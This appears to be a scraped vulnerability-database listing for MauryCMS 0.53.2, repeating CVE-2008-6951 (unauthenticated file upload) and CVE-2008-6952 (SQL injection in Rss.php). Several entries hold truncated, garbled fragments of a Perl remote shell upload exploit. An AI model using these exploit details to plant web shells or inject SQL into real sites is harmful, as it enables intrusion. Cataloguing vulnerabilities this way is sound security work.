EUVD-2008-6912

Malware in sbrugna...

EUVD-2008-6911

Malware in sbrugna...

MauryCMS <= 0.53.2 - Remote Shell Upload Exploit

No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...

CVE-2008-6952

SQL injection vulnerability in Rss.php in MauryCMS 0.53.2 and earlier allows remote attackers to execute arbitrary SQL commands via the c parameter...

Sql injection

SQL injection vulnerability in Rss.php in MauryCMS 0.53.2 and earlier allows remote attackers to execute arbitrary SQL commands via the c parameter...

Design/Logic Flaw

MauryCMS 0.53.2 and earlier does not require administrative authentication for Editors/fckeditor/editor/filemanager/browser/default/browser.html, which allows remote attackers to upload arbitrary files via a direct request...

CVE-2008-6951

MauryCMS 0.53.2 and earlier does not require administrative authentication for Editors/fckeditor/editor/filemanager/browser/default/browser.html, which allows remote attackers to upload arbitrary files via a direct request...

CVE-2008-6951

MauryCMS 0.53.2 and earlier does not require administrative authentication for Editors/fckeditor/editor/filemanager/browser/default/browser.html, which allows remote attackers to upload arbitrary files via a direct request...

CVE-2008-6952

SQL injection vulnerability in Rss.php in MauryCMS 0.53.2 and earlier allows remote attackers to execute arbitrary SQL commands via the c parameter...

CVE-2008-6951

MauryCMS

CVE-2008-6952

The vulnerability CVE-2008-6952 affects MauryCMS 0.53.2 and earlier, due to an SQL injection in Rss.php that allows remote attackers to execute arbitrary SQL commands via the c parameter. Public sources confirm the issue, with CVSSv2 base score 7.5 (HIGH), attack vector NETWORK, authentication NO...

MauryCMS &lt;= 0.53.2 Remote Shell Upload Exploit

No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...

MauryCMS 0.53.2 - Arbitrary File Upload

!/usr/bin/perl =about MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en Win95; U", ; @auth = split':',getcookies; ifnot defined$path1 $user = qqnick=$auth1;...

MauryCMS 0.53.2 - Arbitrary File Upload

MauryCMS 0.53.2 - Arbitrary File Upload !/usr/bin/perl =about MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en Win95; U", ; @auth = split':',getcookies;...

MauryCMS <= 0.53.2 Remote Shell Upload Exploit

Exploit for unknown platform in category web applications ============================================== MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en...